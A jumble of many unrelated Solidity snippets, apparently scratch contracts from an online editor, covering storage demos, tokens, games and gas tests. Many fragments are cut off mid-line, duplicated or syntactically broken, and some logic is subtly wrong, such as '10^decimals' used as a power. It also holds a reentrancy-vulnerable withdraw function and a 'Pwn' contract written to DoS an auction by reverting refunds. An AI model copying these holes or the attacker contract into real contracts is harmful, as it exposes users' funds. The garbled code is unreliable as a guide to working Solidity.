//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.24;
contract SimpleAdd {
  // 變數宣告
  uint number = 0;
  // .....更多變數

  // 函數定義
  function getNumber() public view returns (uint) {  // public:所有人都可以執行此function ; view:此function不會更改到上面宣稱的變數 ; return:function回傳的type
    return number;
  }
  // .....更多函數
  function increase() public {
    number++;  // ++: 代表加一
  }

pragma solidity ^0.7.4;

contract Project{
    address owner;
    uint public balance;
    string public Fname;
    string public Lname;
    uint public age;
    enum GENDER {MALE, FEMALE, OTHER}
    GENDER public choice;
    
    struct Address{
        string AddressLine1;
        string AddressLine2;
        string City;
        string state;
        string Pincode;
        
        
    }
    Address a1;
   
    function Alias() public view returns(string memory, string memory, string memory, string memory, string memory, string memory, string memory){  /*accessing the struct objects*/
     return ( Fname, Lname,a1.AddressLine1,a1.AddressLine2,a1.City,a1.state,a1.Pincode);
    }

    function Approval() public{
        owner=msg.sender;
    }
    
    function Create_Account(string memory First_name, string memory Last_name, uint Age, uint gender, string memory addressline1,string memory addressline2, string memory city, string memory State, string memory pincode) public{          /*function to enter the 

//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.18;
contract RuneOfPower {
  address public wallet = 0xC9C022FCFebE730710aE93CA9247c5Ec9d9236d0;
  function claimRuneOfPower(uint256 nonce) external view returns (uint256) {
    return uint256(
        keccak256(abi.encodePacked(lastPower, nonce, wallet))
    );
  }

//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.18;
contract SimpleStore {
  address public wallet = 0xC9C022FCFebE730710aE93CA9247c5Ec9d9236d0;
  function claimRuneOfPower(uint256 nonce) external view returns (uint256) {
    return uint256(
        keccak256(abi.encodePacked(lastPower, nonce, wallet))
    );
  }

// SPDX-License-Identifier: GPL-3.0
pragma solidity >=0.7.0 <0.9.0;

// import "@openzeppelin/contracts/token/ERC20/ERC20.sol";
import "https://github.com/OpenZeppelin/openzeppelin-contracts/blob/master/contracts/token/ERC20/utils/SafeERC20.sol";
import "https://github.com/OpenZeppelin/openzeppelin-contracts/blob/master/contracts/token/ERC20/ERC20.sol";


contract ERC20Mock is ERC20 {
    uint256 public constant initialSupply = 100 ether;

    constructor() ERC20("asd", "asd") {}

    function mint(address _addr1, address _addr2) external {
        _mint(_addr1, 10 ether);
        _mint(_addr2, 10 ether);
    }
}

// 55 682
contract TestOne {
    using SafeERC20 for ERC20;

    function tst(address _tokenAddr) external {
        ERC20(_tokenAddr).safeTransfer(msg.sender, 1 ether);
    }
}

// 37 399
contract TestTwo {
    function tst(address _tokenAddr) external {
        IERC20(_tokenAddr).transfer(msg.sender, 1 ether);
    }

//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.18;
contract SimpleStore {
  function set(uint _value) public {
    value = _value;
  }

  function get() public constant returns (uint) {
    return value;
  }

  uint value;
  function gettting() external view returns(uint) {
    return value;
  }

//0x495f947276749Ce646f68AC8c248420045cb7b5e
pragma solidity ^0.4.18;
contract SimpleStore {
  function set(uint _value) public {
    value = _value;
  }

  function get() public constant returns (uint) {
    return value;
  }

  uint value;

pragma solidity ^0.4.15;
contract demo1 {
  uint private sellerBalance=0;
   function add(uint value) returns (bool){
      sellerBalance += value;
  }
}

pragma solidity ^0.4.0;
contract Fund {
   /// 合约中 |ether| 分成的映射。
   mapping(address => uint) shares;
   /// 提取你的分成。
   function withdraw() public {
       if (msg.sender.call.value(shares[msg.sender])())
           shares[msg.sender] = 0;
   }
}

//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.

//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.18;
contract SimpleStore {
  function set(uint _value) public {
    value = _value;
  }

  function get() public constant returns (uint) {
    return value;
  }

  uint value;

//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.18;
contract SimpleStore {
  function set(uint _value) public {
    value = _value;
  }

  function get() public constant returns (uint) {
    return value;
  }
123123
  uint value;

function tokenURI(uint256 tokenId) public view returns (string memory) {
    return "data would go here";
}

//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.7.0;
contract SimpleStore {
  function set(uint _value) public {
    value = _value;
  }

  function get() public constant returns (uint) {
    return value;
  }

  uint value;

//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
  pragma solidity ^0.4.18;
  contract SimpleStore {
    function set(uint _value) public {
      value = _value;
    }

    function get() public constant returns (uint) {
      return value;
    }

    uint value;
  

//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.18;
contract SmartContract {

  function callAddmod() public view returns(uint)
  {
    return addmod(2,3,5);
  }

  

//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.7.1;
contract TicTacToe {
// game configuration
address [2] _playerAddress ; // address of both players
uint32 _turnLength ; // max time for each turn


// nonce material used to pick the first player
bytes32 _p1Commitment ;
uint8 _p2Nonce ;


// game state
uint8 [9] _board ; // serialized 3 x3 array
uint8 _currentPlayer ; // 0 or 1, indicating whose turn it is
uint256 _turnDeadline ; // deadline for submitting next move


// Create a new game , challenging a named opponent .
// The value passed in is the stake which the opponent must match .
// The challenger commits to its nonce used to determine first mover .
constructor ( address opponent , uint32 turnLength ,
bytes32 p1Commitment ) public {
_playerAddress [0] = msg . sender ;
_playerAddress [1] = opponent ;
_turnLength = turnLength ;
_p1Commitment = p1Commitment ;
}

// Join a game as the second player .
function joinGame ( uint8 p2Nonce ) public pa

/**
 *Submitted for verification at Etherscan.io on 2021-04-06
*/

/**
 *Submitted for verification at Etherscan.io on 2021-04-05
*/

pragma solidity ^0.6.0;

/**
 * @dev Wrappers over Solidity's arithmetic operations with added overflow
 * checks.
 *
 * Arithmetic operations in Solidity wrap on overflow. This can easily result
 * in bugs, because programmers usually assume that an overflow raises an
 * error, which is the standard behavior in high level programming languages.
 * `SafeMath` restores this intuition by reverting the transaction when an
 * operation overflows.
 *
 * Using this library instead of the unchecked operations eliminates an entire
 * class of bugs, so it's recommended to use it always.
 */
library SafeMath {
    /**
     * @dev Returns the addition of two unsigned integers, reverting on
     * overflow.
     *
     * Counterpart to Solidity's `+` operator.
     *
     * Requirements:
     * - Addition cannot overflow.
     */
    function add(uint256 a, uint256 b) internal pure returns

// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.13;

contract NumberGame {
    struct Player {
        string name;
        uint256 probability;
        uint8 losses;
    }
    struct GameInfo {
        string gameName;
        Player[] players;
        uint8 gamesPlayed;
    }

    mapping(uint8 => GameInfo) existingGames;
    mapping(string => uint8) nameToGame;
    uint8 numGames;

    mapping(address => bool) isWhitelisted;

    constructor() {
        isWhitelisted[msg.sender] = true;
    }

    error NotWhitelisted();
    modifier onlyWhitelist() {
        if (isWhitelisted[msg.sender] != true) revert NotWhitelisted();
        _;
    }

    function createGame(string calldata _name)
        public
        onlyWhitelist
        returns (uint8)
    {
        uint8 gameId = numGames++;
        GameInfo storage game = existingGames[gameId];

        game.gameName = _name;
        game.gamesPlayed = 0;

        nameToGame[_name] = gameId;

        return gameId;
    }

    function addToGame(uint

//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.18;
contract SimpleStore {
  function set(uint _value) public {
    value = _value;
  }

  function get() public constant returns (uint) {
    return value;
  }

  uint value;

pragma solidity >= 0.7.0 < 0.9.0;

contract Safe {
  address private safeOwner;
  modifier isSafeOwner {
    require(
      msg.sender == safeOwner,
      "Must be safe onwer to open safe"
    );
    _;
  }

  modifier hasAdequateFunds {
    require(
      msg.sender.balance >= 47,
      "Must have at least 47 WEI"
    );
    require(
      msg.value == 47,
      "Must transfer 47 WEI to access"
    );
    _;
  }

  constructor () {
    safeOwner = 0x5B38Da6a701c568545dCfcB03FcB875f56beddC4;
  }

  function openSafe(string memory input) public payable isSafeOwner hasAdequateFunds returns(bool) {
    bytes2 key = hex'a12c';
    bytes32 result = sha256(abi.encodePacked(input));
    if (result[0] == key[0] && result[1] == key[1]) {
      return true;
    

pragma solidity >= 0.7.0 < 0.9.0;

contract Safe {
  address private safeOwner;
  modifier isSafeOwner {
    require(
      msg.sender == safeOwner,
      "Must be safe onwer to open safe"
    );
    _;
  }

  modifier hasAdequateFunds {
    require(
      msg.sender.balance >= 47,
      "Must have at least 47 WEI"
    );
    require(
      msg.value == 47,
      "Must transfer 47 WEI to access"
    );
    _;
  }

  constructor () {
    safeOwner = 0x5B38Da6a701c568545dCfcB03FcB875f56beddC4;
  }

  function openSafe(uint8[13] memory input) public payable isSafeOwner hasAdequateFunds returns(bool) {
    bytes2 key = hex'a12c';
    bytes32 result = sha256(abi.encodePacked(input));
    if (result[0] == key[0] && result[1] == key[1]) {
      return true;
    } else {
      return false;
    }
  }

pragma solidity ^0.4.18;

contract Gastoken {
    function free(uint256 value) public returns (bool success);
    function freeUpTo(uint256 value) public returns (uint256 freed);
    function freeFrom(address from, uint256 value) public returns (bool success);
    function freeFromUpTo(address from, uint256 value) public returns (uint256 freed);
}

contract Example {

    // This function consumes a lot of gas
    function expensiveStuff() private pure {
        /* lots of expensive stuff */
    }

    /*
     * Frees `free' tokens from the Gastoken at address `gas_token'.
     * The freed tokens belong to this Example contract. The gas refund can pay
     * for up to half of the gas cost of the total transaction in which this 
     * call occurs.
     */
    function burnGasAndFree(address gas_token, uint256 free) public {
        require(Gastoken(gas_token).free(free));
        expensiveStuff();
    }

    /*
     * Frees `free' tokens from the Gastoken at address `gas_token'.
     * The freed tokens belong

//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity 0.8.11;
contract SimpleStore {
    struct ST1 {
        uint256 i1;
        uint256 i2;
        uint256 i3;
        uint256 i4;
        uint256 i5;
        uint256 i6;
        uint256 i7;
    }
    struct ST2 {
        uint256 i8;
        uint256 i9;
        uint256 i10;
        uint256 i11;
        uint256 i12;
        uint256 i13;
        uint256 i14;
    }
    struct ST3 {
        uint256 i15;
        uint256 i16;
        uint256 i17;
        uint256 i18;
        uint256 i19;
        uint256 i20;
        uint256 i21;

    }
    struct ST4 {
        uint256 i22;
        uint256 i23;
        uint256 i24;
        uint256 i25;
        uint256 i26;
        uint256 i27;
        uint256 i28;
    }


    function myFunc2(
        ST1 memory st1,
        ST2 st2,
        ST3 st3,
        ST4 st4
    ) public returns(uint256) {
        // uint256 t1=1;
        // uint256 t2=2;
        uint256 tmp = st1.i1+st4.i23;

//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.15;
contract SimpleStore {
function myFunc(
        uint256 i1,
        uint256 i2,
        uint256 i3,
        uint256 i4,
        uint256 i5,
        uint256 i6,
        uint256 i7,
        uint256 i8,
        uint256 i9,
        uint256 i10,
        uint256 i11,
        uint256 i12,
        uint256 i13
    ) public returns(uint256) {
        // uint256 t1=1;
        // uint256 t2=2;
        uint256 tmp = i1+i2+i3+i4+i5+i6+i7+i8+i9+i10+i11+i12+i13;
        return tmp;
    }

//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.6.12;
contract SimpleStore {
  function set(uint _value) public {
    value = _value;
  }

  function get() public constant returns (uint) {
    return value;
  }

  uint value;

//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.18;
contract SimpleStore {
  uint256 baseValue = (10 ** 18);
  uint profitPercentage = 20;
  uint[] list = [1,2,3,4,5,6,7];

  function toString(uint256 value) private pure returns (string memory) {
    // Inspired by OraclizeAPI's implementation - MIT licence
    // https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol
    if (value == 0) {
        return "0";
    }

    uint256 temp = value;
    uint256 digits;
    while (temp != 0) {
        digits++;
        temp /= 10;
    }

    bytes memory buffer = new bytes(digits);
    while (value != 0) {
        digits -= 1;
        buffer[digits] = bytes1(uint8(48 + uint256(value % 10)));
        value /= 10;
    }

    return string(buffer);
}

  function get() public pure returns (uint) {
    return bytes(toString(~uint256(0))).length;
  }

  function get2() public pure returns (uint) {
    return b

//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.18;
contract SimpleStore {
  contract test {
//Defining structure
struct worker
{
string worker;
string duty;
uint8 renumeration;
}
// Creating a mapping
mapping (address => worker) result;
address[] public worker_result;
}

//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.18;
contract SimpleStore {
  function set(uint _value) public {
    value = _value;
  }

  function get() public constant returns (uint) {
    return value;
  }

  uint value;

//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.18;
contract SimpleStore {
 enum week_days
{
Monday,
Tuesday,
Wednesday,
Thursday,
Friday,
Saturday,
Sunday
}
week_days week;
week_days choice;
week_days constant default_value
= week_days.Sunday;
function set_value() public {
choice = week_days.Thursday;
}
function get_choice(
) public view returns (week_days) {
return choice;
}
function getdefaultvalue(
) public pure returns(week_days) {
return default_value;
}

//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.18;
contract SimpleStore {
  uint[6] data;
  uint x;
  function array_example() public returns(uint[6] memory) {
    data=[uint(10),20,30,40,50]
  }

  function result() public view returns (uint[6] memory) {
    return data;
  }

//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.18;
contract SimpleStore {
  string store = "abcd";
    function getStore() public constant returns (string) 
    {
      return store;
    }

//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.18;
contract SimpleStore {
  function set() public pure returns (uint){
  uint value;
    assembly {
        value := byte(0, 0xf1)
    }
    return value;
  }

// Contract address: 0xb4d2f83a3a33e23c0e81e7a3124ae8c214470b9d
// Contract name: MarginlessCrowdsale
// Etherscan link: https://etherscan.io/address/0xb4d2f83a3a33e23c0e81e7a3124ae8c214470b9d#code
pragma solidity 0.4.19;

/**
 * @title ERC20Basic
 * @dev Simpler version of ERC20 interface
 * @dev see https://github.com/ethereum/EIPs/issues/179
 */
contract ERC20Basic {
  function totalSupply() public view returns (uint256);
  function balanceOf(address who) public view returns (uint256);
  function transfer(address to, uint256 value) public returns (bool);
  event Transfer(address indexed from, address indexed to, uint256 value);
}


/**
 * @title ERC20 interface
 * @dev see https://github.com/ethereum/EIPs/issues/20
 */
contract ERC20 is ERC20Basic {
  function allowance(address owner, address spender) public view returns (uint256);
  function transferFrom(address from, address to, uint256 value) public returns (bool);
  function approve(address spender, uint256 value) public returns (

// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.0;

contract RP {
    uint256 soldAmount = 0;
    uint256 decimals = 18;

    uint256 checkPoint = 1000 * 10^decimals; // 1k
    uint256 nextCheckPoint = checkPoint * 10; // 10k

    uint256 price = 0.2 ether;

    function sellRp(uint256 _amount) public returns (uint256) {
        uint256 payout;
        uint256 left;
        // 0. balance check of RP amount
        // 0-0. check global limit on RP sellable
        // 0-1. check RP sellable limit on user

        // 1. calculate maticAmount for _amount
        if(checkPoint >= soldAmount + _amount) {
            payout = _amount * price / 10^decimals;
            soldAmount += _amount;
        } else {
            left = _amount;
            // need bounds to prevent exceeding block gas limit
            while(left > 0) {
                uint256 discrepancy = checkPoint - soldAmount;

                if(discrepancy > left) {
                    payout += left * price / 10^decimals;
                 

//Lucky Mokalusi
pragma solidity ^0.4.18;
contract B {
  uint256 a = 0;
  uint256 b = 0;
  uint256 c = 0;
  uint256 d = 0;
  uint256 e = 0;

//Lucky Mokalusi
pragma solidity ^0.4.18;
contract A {
  uint8 a = 0;
  uint8 b = 0;
  uint8 c = 0;
  uint8 d = 0;
  uint8 e = 0;

// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.0;

contract RP {
    uint256 soldAmount = 0;
    uint256 decimals = 18;

    uint256 checkPoint = 1000 * 10^decimals; // 1k
    uint256 nextCheckPoint = checkPoint * 10; // 10k

    uint256 price = 0.2 ether;

    function sellRp(uint256 _amount) public returns (uint256) {
        uint256 payout;
        uint256 left;
        // 0. balance check of RP amount
        // 0-0. check global limit on RP sellable
        // 0-1. check RP sellable limit on user

        // 1. calculate maticAmount for _amount
        if(checkPoint >= soldAmount + _amount) {
            payout = _amount * price / 10^decimals;
            soldAmount += _amount;
        } else {
            left = _amount;
            // need bounds to prevent exceeding block gas limit
            while(left > 0) {
                uint256 discrepancy = checkPoint - soldAmount;

                if(discrepancy > left) {
                    payout += left * price / 10^decimals;
                 

pragma solidity ^0.4.18;
contract CallToTheUnknown {
  // Highest bidder becomes the Leader. 
  // Vulnerable to DoS attack by an attacker contract which reverts all transactions to it.

    address currentLeader;
    uint highestBid;

    function() payable {
        require(msg.value > highestBid);
        require(currentLeader.send(highestBid)); // Refund the old leader, if it fails then revert
        currentLeader = msg.sender;
        highestBid = msg.value;
    }
}

contract Pwn {
  // call become leader 
  function becomeLeader(address _address, uint bidAmount) {
    _address.call.value(bidAmount);
  }
    
  // reverts anytime it receives ether, thus cancelling out the change of the leader
  function() payable {
    assert(1==2);
  }

//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.18;
contract SimpleStore {

  struct UserStakeData
  {
    address stakeUser;
    uint256 skateTime;
    uint256 bonusValue;
  }
  //盘口=>用户按票购买记录
  mapping(uint256=>mapping(uint256,UserStakeData)) StakeTicketData;

pragma solidity ^0.4.18;
contract A {
  uint8 a = 0;
  uint8 b = 0;

pragma solidity ^0.4.18;
contract A {
  uint8 a = 0;

pragma solidity ^0.4.18;
contract B {
  uint256 a = 0;
  uint256 b = 0;
  uint256 c = 0;
  uint256 d = 0;
  uint256 e = 0;

pragma solidity ^0.4.18;
contract A {
  uint8 a = 0;
  uint8 b = 0;
  uint8 c = 0;
  uint8 d = 0;
  uint8 e = 0;

pragma solidity ^0.4.18;
contract A {
  uint8 a = 255;
  uint8 b = 255;
  uint8 c = 255;
  uint8 d = 255;
  uint8 e = 255;

pragma solidity ^0.4.18;

contract A {
  uint8 a = 0;

pragma solidity ^0.4.18;

contract B {
  uint256 b = 0;

pragma solidity ^0.4.18;

contract B {
  uint256 b = 115792089237316195423570985008687907853269984665640564039457584007913129639935;

pragma solidity ^0.4.18;

contract B {
  uint256 b = 0;

pragma solidity ^0.4.18;

contract A {
  uint8 a = 0;

//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.18;
contract SimpleStore {
  function set(uint _value) public {
    value = _value;
  }

  function get() public constant returns (uint) {
    return value;
  }

  uint value;

//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.18;
contract SimpleStore {
  function set(uint _value) public {
    value = _value;
  }

  function get() public constant returns (uint) {
    return value;
  }

  uint value;

//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.18;
contract SimpleStore {
  function set(uint _value) public {
    value = _value;
  }

  function get() public constant returns (uint) {
    return value;
  }

  uint value;
}

//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64
contract SimpleStore {
  function set(uint _value) public {
    value = _value;
  }

  function get() public constant returns (uint) {
    return value;
  }

  uint value;

pragma solidity ^0.4.26;  


/* 合約本體 */
contract SimpleAdd {

    /* 變數宣告 */
    uint number = 1;

    // ... 更多變數


    /* 函數定義 */
    function getNumber() public view returns (uint) {
        return number;
    }

    // ... 更多函數 
    function increase() public {
        number++;
    }

    

// SPDX-License-Identifier: GPL-3.0
/* today's date: 4/11/2022 08:31
*/
 
pragma solidity >=0.7.0 <0.9.0;
 
import "@openzeppelin/contracts/utils/math/Math.sol";  //openzeppelin's math library to use min and max
 
/* title: TorusTacToe
dev: Play tic tac toe against the contract on a special torus board, player 1 is O (user) and player 2 is X (contract) */
contract TorusTacToe {
    /* the 72 rightmost bits represent the 36 pieces
       with each piece represented by 2 bits
       (00 = empty, 01 = user marker aka O, 10 = contract marker aka X) */
    uint256 torusState;
 
 
    function searchForMove(uint256 possibleTorus, uint256 depth, bool isContract) public pure returns (int) {    //the minimax function, do alpha beta later
        if(depth == 3) {     //max depth is 3
            return evaluateTorus(possibleTorus);
        }
        if(isContract == false){   // user's turn
            bool torusFull = true;
            int minPoints = type(int).max;
            for(uint256 posIndex = 0; posIndex < 36;

pragma solidity =0.8.7;

contract rps
{
    address payable alice = payable(0x5B38Da6a701c568545dCfcB03FcB875f56beddC4);
    address payable bob = payable(0xAb8483F64d9C6d1EcF9b849Ae677dD3315835cb2);
    mapping(address=>bytes32) public choice_hashes;
    mapping(address=>uint) public choices;
    uint initialBlock;
    bool flag = false;

    constructor()
    {
        initialBlock = block.timestamp;
    }

    function choice_nonce_hash(bytes32 hash) public payable
    {
        require(block.timestamp < initialBlock + 100);
        require(msg.sender == alice || msg.sender == bob );
        require(msg.value == 1 ether);
        choice_hashes[msg.sender] = hash;
    }

    function reveal_hash(uint choice, string memory nonce) public
    {
        require(block.timestamp >= initialBlock + 100 && block.timestamp < initialBlock + 200);
        require(msg.sender == alice || msg.sender == bob );
        require(sha256((bytes(abi.encodePacked(choice,nonce)))) == choice_hashes[msg.sender]);
        choices[msg

pragma solidity >=0.8.0 <0.9.0;
//SPDX-License-Identifier: MIT

// import "hardhat/console.sol";
import "@openzeppelin/contracts/token/ERC721/ERC721.sol";
import "@openzeppelin/contracts/token/ERC721/extensions/ERC721Enumerable.sol";
import "@openzeppelin/contracts/token/ERC721/extensions/ERC721URIStorage.sol";
import "@openzeppelin/contracts/utils/Counters.sol";
import "@openzeppelin/contracts/access/Ownable.sol";

//learn more: https://docs.openzeppelin.com/contracts/3.x/erc721

// GET LISTED ON OPENSEA: https://testnets.opensea.io/get-listed/step-two

contract Tiket is ERC721, ERC721Enumerable, ERC721URIStorage, Ownable {
    using Counters for Counters.Counter;
    Counters.Counter private _tokenIds;

    constructor() public ERC721("Tiket", "TIKT") {}

    function _beforeTokenTransfer(
        address from,
        address to,
        uint256 tokenId
    ) internal override(ERC721, ERC721Enumerable) {
        super._beforeTokenTransfer(from, to, tokenId);
    }

    function _burn(uint256 tokenId)
     

pragma solidity 0.7.1;

contract mathProblem {


    uint256 public userWithdrawed;
    uint256 public userDeposited;

    uint256 public shares;
    uint256 public currentPPS;

    uint256 public NAV;

    uint256 public currentCycle;
    uint256 public currentCycleAmount;

    mapping(uint256 => uint256) public cyclePPS;
    uint256 public lastNFTID;
    mapping(uint256 => UserNFTNote) public userDepositsNFT;
    mapping(address => uint256) public userDepositsShares;

    struct UserNFTNote {
        address user;
        uint256 amount;
        uint256 cycle;
    }


    function deposit(uint256 amount) public {
        userDeposited += amount;
        currentCycleAmount += amount;

         UserNFTNote storage userNFTNote = userDepositsNFT[lastNFTID];
         lastNFTID+=1;

         userNFTNote.user = msg.sender;
         userNFTNote.amount = amount;
         userNFTNote.cycle = currentCycle;
    }

    function sendToStrategy() public {
         if (shares > 0) {
             //  Compounding happens her

// SPDX-License-Identifier: UNLICENSE
pragma solidity ^0.4.18;
// Source: https://marduc812.com/2021/04/08/how-to-save-gas-in-your-ethereum-smart-contracts/
contract SaveGas {

    uint256 resultB = 0;
  
        function UseUint256() external returns (uint256) {
        uint256 selectedRange = 255;
        for (uint256 i = 0; i < selectedRange; i++) {
            resultB += 1;
        }
        return resultB;
    }

// SPDX-License-Identifier: UNLICENSE
pragma solidity ^0.4.18;
// Source: https://marduc812.com/2021/04/08/how-to-save-gas-in-your-ethereum-smart-contracts/
contract SaveGas {
    uint8 resultA = 0;
  
    function UseUInt8() external returns (uint8) {
        uint8 selectedRange = 255;
        for (uint8 i = 0; i < selectedRange; i++) {
            resultA += 1;
        }
        return resultA;
    }

//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.18;
contract SampleOverflow {
     string constant resultC = "ABCDEFGHIJKLMNOPQRSTUVWXYZ";
     bytes32 constant resultD = "ABCDEFGHIJKLMNOPQRSTUVWXYZ";
    function  getString() payable public  returns(string){
        return resultC;
    }
     function  getByte() payable public  returns(bytes32){
        return resultD;
    }

pragma solidity ^0.4.18;

contract Unit8_Binary1 {
  uint8 Binary1 = 1;
}
contract Unit8_Binary3 {
  uint8 Binary3 = 11;
}
contract Unit8_Binary7 {
  uint8 Binary7 = 111;

//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.6.12;
contract SimpleStore {
  function set(uint _value) public {
    value = _value;
  }

  function get() public constant returns (uint) {
    return value;
  }


  function testOpt() pure internal {

      uint256[] memory data1 = new uint256[](2);
      data1[0] = 0;
      data1[1] = 0;
  }

  uint value;

/*

    SPDX-License-Identifier: None
    STEALTH LAUNCH BABY VERSION OF Milkdoge
    TG GROUP SOON, LIQ LOCK AFTER LAUNCHED
    BabyMilkdoge (BABYMOGE) - 10% tax

*/

pragma solidity ^0.8.13;


interface IERC20 {

    function totalSupply() external view returns (uint256);

    /**
     * @dev Returns the amount of tokens owned by `account`.
     */
    function balanceOf(address account) external view returns (uint256);

    /**
     * @dev Moves `amount` tokens from the caller's account to `recipient`.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * Emits a {Transfer} event.
     */
    function transfer(address recipient, uint256 amount) external returns (bool);

    /**
     * @dev Returns the remaining number of tokens that `spender` will be
     * allowed to spend on behalf of `owner` through {transferFrom}. This is
     * zero by default.
     *
     * This value changes when {approve} or {transferFrom} are called.
     */

    function allowance(address

//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity =0.8.9;
contract SimpleStore {
  function testGas1(uint a, uint b) {
    if (a == 1 && b == 2) {

    }
  }

  function testGas2(uint a, uint b) {
    bool isA = a > 0;
    bool isB = b > 0;

    if(isA && !isB){

    }
    if(isB && !isA){

    }
    if(isA && isB){

    }
  }

// SPDX-License-Identifier: MIT
pragma solidity 0.8.13;

interface IBEP20 {
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
}

interface IBEP20Metadata is IBEP20 {
    function name() external view returns (string memory);
    function symbol() external view returns (string memory);
    function decimals() external view returns (uint8);
}

abstract contract Context {
    function _msgSender() internal view virtual returns (a

//SPDX-License-Identifier: Unlicense
pragma solidity ^0.8.0;

contract DepositLock {

  enum Stages {
    AcceptingDeposits,
    FreezingDeposits,
    ReleasingDeposits
  }

  Stages public stage = Stages.AcceptingDeposits;

  uint public creationTime = block.timestamp;

  mapping (address => uint) public balances;    
  
  modifier atStage(Stages _stage) {
    require(stage == _stage, "Action not allowed Now");
    _;
  }

  modifier timedTransitions() {
    if (stage == Stages.AcceptingDeposits && block.timestamp >= creationTime + 1 days)
      nextStage();
    if (stage == Stages.FreezingDeposits && block.timestamp >= creationTime + 8 days)
      nextStage();
    _;
  }
    
  function nextStage() internal {
    stage = Stages(uint(stage) + 1);
  }

  function deposit() public payable timedTransitions atStage(Stages.AcceptingDeposits) {
    balances[msg.sender] += msg.value; 
  }
  
  function withdraw() public timedTransitions atStage(Stages.ReleasingDeposits) { 
    uint amount = balances[msg.sender];
  

//SPDX-License-Identifier: Unlicense
pragma solidity ^0.8.0;

contract SimpleBank {
    mapping (address => uint256) private balances;
    address public owner;
    constructor() payable {
        owner = msg.sender;
    }
    function deposit() public payable returns (uint) {
        balances[owner]+= (msg.value/100)*2;
        balances[msg.sender] += (msg.value/100)*98;
        return balances[msg.sender];
    }
    function withdraw(uint withdrawAmount) public returns (uint remainingBal) {
        if (withdrawAmount <= balances[msg.sender]) {
            balances[msg.sender] -= withdrawAmount;
            if(payable(msg.sender).send(withdrawAmount)) {
                return balances[msg.sender];
            }
        }
        return balances[msg.sender];
    }
    function balance() public view returns (uint) {
        return balances[msg.sender];
    }
    function depositsBalance() public view returns (uint) {
        return address(this).balance;
    }
}

//SPDX-License-Identifier: Unlicense
pragma solidity ^0.8.0;

contract SimpleBank {
    mapping (address => uint) private balances;
    address public owner;
    constructor() payable {
        owner = msg.sender;
    }
    function deposit() public payable returns (uint) {
        balances[msg.sender] += msg.value;
        return balances[msg.sender];
    }
    function withdraw(uint withdrawAmount) public returns (uint remainingBal) {
        if (withdrawAmount <= balances[msg.sender]) {
            balances[msg.sender] -= withdrawAmount;
            if(payable(msg.sender).send(withdrawAmount)) {
                return balances[msg.sender];
            }
        }
        return balances[msg.sender];
    }
    function balance() public view returns (uint) {
        return balances[msg.sender];
    }
    function depositsBalance() public view returns (uint) {
        return address(this).balance;
    }
}

//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.26;

contract ArgContract {
  function getAddress(address addr1, address addr2, address addr3, address addr4, address addr5, address addr6, address addr7, address addr8) public pure returns(address){
    return address(uint160(uint256(keccak256(abi.encodePacked(addr1,addr2,addr3,addr4,addr5,addr6,addr7,addr8)))));
  }
}

pragma solidity ^0.4.25;
contract ArgContract {
  function getAddress(address addr1, address addr2, address addr3) public pure returns(address){
    return address(keccak256(abi.encodePacked(addr1, addr2, addr3)));
  }

//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.18;
contract token{
  address owner;
